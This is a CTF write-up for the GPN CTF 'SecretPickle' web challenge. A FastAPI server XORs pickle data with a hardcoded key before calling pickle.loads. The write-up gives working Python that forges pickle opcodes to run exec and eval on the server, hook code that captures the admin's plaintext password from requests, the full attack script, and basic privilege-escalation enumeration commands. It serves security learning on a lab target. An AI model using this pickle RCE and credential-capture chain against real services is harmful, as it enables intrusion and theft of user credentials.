SecretPickle
SecretPickle
Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2024-06-01 | Status: Solved Techniques: forged_pickle_opcodes, plaintext_credential_capture, request_hook_capture, server_rce, xor_known_key
Summary
Task: FastAPI app deserializes a 'secretpickle' blob (base64 + XOR with a key hardcoded in source) via pickle.loads, giving unauthenticated RCE. Solution: forge arbitrary pickle opcodes since the XOR key is known, install a request hook to capture decrypted payloads, trigger the adminbot whose pyodide client logs in as admin sending the FLAG (its password) in plaintext, then read it back.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
gpnctf| ID:20240601_gpnctf_secretpickle - Tags: rce, playwright, fastapi, xor, pickle, insecure_deserialization, pyodide, fake_encryption, adminbot
- Indicators: XOR key hardcoded in source, pickle.loads on user-controlled bytes, base64 + XOR called 'encryption, adminbot logs in with FLAG as password, fixed pickle prefix stripped/prepended
- Source:
20240601_gpnctf_secretpickle.md
Foothold
Vulnerability / Misconfiguration
- Forged_pickle_opcodes
- Plaintext_credential_capture
- Request_hook_capture
- Server_rce
- Xor_known_key
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- forged_pickle_opcodes
- plaintext_credential_capture
- request_hook_capture
- server_rce
- xor_known_key
- Tags: rce, playwright, fastapi, xor, pickle, insecure_deserialization, pyodide, fake_encryption, adminbot
Original Writeup
<details><summary>Click to expand original content</summary>SecretPickle — GPNCTF (kitctf / GPN24)
Description
The only serialization method that I found in the restaurant were Pickles. So I made an encrypted version of it that nobody can crack!
We are given secretpickle-easy.tar.gz with app/{adminbot.py, client.py, secretpickle.py, server.py, index.html, deps/...}. The goal is to read the flag, which lives at /flag.txt inside the adminbot container.
Architecture
- Frontend runs entirely in the browser via Pyodide (
client.py+secretpickle.py). It parses URL query params withyaml.safe_loadand renders server results viaDOMPurify.sanitize+document.write. - Backend is FastAPI (
server.py). One key endpoint:
@app.post("/{b64:path}")
async def secretpickle_handle(request: Request, b64: str):
pl = secretpickle_load(b64) # -> pickle.loads
action = pl.get("action", pl.get("a"))
params = pl.get("params", pl.get("p", {}))
res = await action_handler(action, params, pl)
return secretpickle_dump(res)
Actions: home, hello, register, login, whoami, encrypt, decrypt, adminbot.
- adminbot (
adminbot.py, Playwright/chromium). On every visit it:
- registers
adminwithpassword=FLAG, - logs in as
admin(which storesusername/passwordin the headless browser'slocalStorage), - runs
whoami, - then navigates to the attacker-supplied URL.
FLAG = open("/flag.txt").read().strip()
...
await page.goto(action_url("register", username="admin", password=FLAG))
await page.goto(action_url("login", username="admin", password=FLAG))
await page.goto(action_url("whoami"))
await page.goto(url) # attacker-controlled
Analysis — the fake "encryption"
secretpickle.py is the entire crypto:
SECRETPICKLE_OBJECT_PREFIX = bytes.fromhex("8004 950000000000000000 7d 94 28")
# proto4 + FRAME(len=0) + EMPTY_DICT + MEMOIZE + MARK
# "128 random bits, so same security as AES-128"
SECRETPICKLE_XOR_KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3") # HARDCODED
def secretpickle_dump(decoded, encoder=pickle.dumps):
raw = encoder(decoded)
trimmed = raw[len(SECRETPICKLE_OBJECT_PREFIX):] # strip fixed 14-byte prefix
return base64.b64encode(xor(trimmed, KEY)).decode()
def secretpickle_load(encoded, decoder=pickle.loads):
decoded = base64.b64decode(encoded)
untrimmed = SECRETPICKLE_OBJECT_PREFIX + xor(decoded, KEY) # re-prepend prefix
return decoder(untrimmed) # pickle.loads!
Root cause: the "encryption" is XOR with a key committed in the source, so it provides zero secrecy. Anyone can forge an arbitrary secretpickle blob → arbitrary pickle bytes are passed to pickle.loads on the server → unauthenticated remote code execution. (Classic: pickle is not a secure format, and XOR-with-known-key is not encryption.)
Why server RCE alone doesn't directly give the flag
- The flag lives in the adminbot container (
/flag.txt) and is used as the admin password. - On the server,
USERSonly storessha256(FLAG)— not reversible:
USERS[username] = {"username": username, "password": hash(password)} # sha256
- But the adminbot's pyodide client logs in as admin by POSTing the payload containing
password=FLAGin plaintext to the server (the password is in the secretpickle body sent toPOST /{b64}). So with server RCE we hook the request handler to capture every decrypted payload, trigger the adminbot, and the admin login leaksFLAGin plaintext into our capture, which we read back.
The forge primitive
secretpickle_load always prepends the fixed 14-byte PREFIX. That prefix is exactly proto4 + FRAME + EMPTY_DICT + MEMOIZE + MARK, i.e. it leaves an empty dict {} and a MARK on the pickle stack — harmless. To forge an arbitrary pickle P:
- Build
P = PREFIX + <your opcodes>. Append a REDUCE object +STOP;pickle.loadsreturns the top of the stack (your object), ignoring the leftover{}/MARK. - Send
b64 = base64( XOR( P[14:], KEY ) )toPOST /{b64}.
def forge(full_pickle: bytes) -> str:
assert full_pickle[:len(PFX)] == PFX
return base64.b64encode(secretpickle_encrypt(full_pickle[len(PFX):])).decode()
def pstr(s: bytes) -> bytes: # SHORT_BINUNICODE / BINUNICODE
if len(s) < 256:
return b'\x8c' + bytes([len(s)]) + s
return b'X' + len(s).to_bytes(4, 'little') + s
Two payload builders:
def payload_exec(code: str) -> str:
# runs builtins.exec(code) during unpickling (side effects; loaded value = None)
ops = b'cbuiltins\nexec\n(' + pstr(code.encode()) + b'tR.'
return forge(PFX + ops)
def payload_eval_to_hello(code: str) -> str:
# loaded value = {'action':'hello','params':{'name': str(eval(code))}}
# server 'hello' returns "Hello, {name}!" -> echoes eval result back to us
expr = "{'action':'hello','params':{'name': str(%s)}}" % code
ops = b'cbuiltins\neval\n(' + pstr(expr.encode()) + b'tR.'
return forge(PFX + ops)
payload_eval_to_hello gives us both an RCE confirmation and an arbitrary read primitive: the hello action returns "Hello, {name}!", so the result of evaluating any expression is echoed back in the HTTP response.
The capture hook (closure pitfall)
We exec code that wraps both secretpickle.secretpickle_load and server.secretpickle_load so every decrypted payload's repr is appended to builtins._cap.
HOOK_CODE = (
"import builtins, server, secretpickle, pickle\n"
"if not hasattr(builtins, '_cap'):\n"
" builtins._cap = []\n"
" _o = secretpickle.secretpickle_load\n"
" def _hook(encoded, decoder=pickle.loads, _o=_o, _b=builtins):\n"
" r = _o(encoded, decoder)\n"
" try: _b._cap.append(repr(r))\n"
" except Exception: pass\n"
" return r\n"
" secretpickle.secretpickle_load = _hook\n"
" server.secretpickle_load = _hook\n"
)
Two gotchas worth remembering:
- Closure binding. When running via
builtins.exec(code_string)inside the unpickling frame, the exec namespace does not persist as the nested function's globals, so the inner function loses references likebuiltinsand the original function. Fix: bind them as default arguments (def _hook(encoded, decoder=pickle.loads, _o=_o, _b=builtins): ...). - Both name bindings.
server.pydidfrom secretpickle import secretpickle_load, so it holds its own name binding — you must patchserver.secretpickle_loadtoo, not just the one in thesecretpicklemodule.
Full attack chain
- Stage 1 (sanity):
POST payload_eval_to_hello("7*6")→ responseHello, 42!confirms server RCE + read primitive. - Stage 2:
POST payload_exec(HOOK_CODE)→ installs the capture hook (the response is an error because the loaded value isNone, but the side effect succeeds). - Stage 3:
POSTa normal secretpickle foraction=adminbotwithparams.url = base64("http://127.0.0.1/?action=home"). The adminbot register+login+whoami as admin, sendingpassword=FLAGin plaintext to the server, captured by the hook. (The adminbot fetch may reportRemote end closed connection without responseor take ~15–25s; that's fine, the capture still happens.) - Stage 4:
POST payload_eval_to_hello("__import__('builtins')._cap")→ the server returns the captured payloads, including the admin login with the plaintext FLAG. RegexGPNCTF\{[^}]*\}extracts it.
post(payload_eval_to_hello("7*6")) # -> "Hello, 42!"
post(payload_exec(HOOK_CODE)) # install hook
bot_url = base64.b64encode(b"http://127.0.0.1/?action=home").decode()
post(secretpickle_dump({"action": "adminbot", "params": {"url": bot_url}}))
time.sleep(25)
res = post(payload_eval_to_hello("__import__('builtins')._cap"))
print(re.findall(r"GPNCTF\{[^}]*\}", str(res)))
Live output (proof)
Stage 4 returned:
Hello, ["{'action': 'adminbot', 'params': {'url': 'aHR0cDovLzEyNy4wLjAuMS8/YWN0aW9uPWhvbWU='}}",
"{'action': 'login', 'params': {'username': 'admin',
'password': 'GPNCTF{REDACTED}'}}"]!
Dead ends (lessons)
- XSS via the rendered result: DOMPurify is 3.4.7 (latest, no known bypass) —
html()sanitizes everything, so direct DOM XSS to readlocalStorageis not viable. - YAML anchor self-reference in
client.load_params(to makeparamsalias the root dict so the post-set password gets reflected): impossible because the client transforms every&into a newline (and%26unquotes to&then becomes a newline), and YAML anchors require&. - No direct pickle injection into the admin browser: the only
pickle.loadsin the browser is on the server's response, so you must control the server (server RCE) to influence it — hence the server-side capture approach is the clean path. - Reading the admin password from
USERSis useless: onlysha256(FLAG)is stored.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR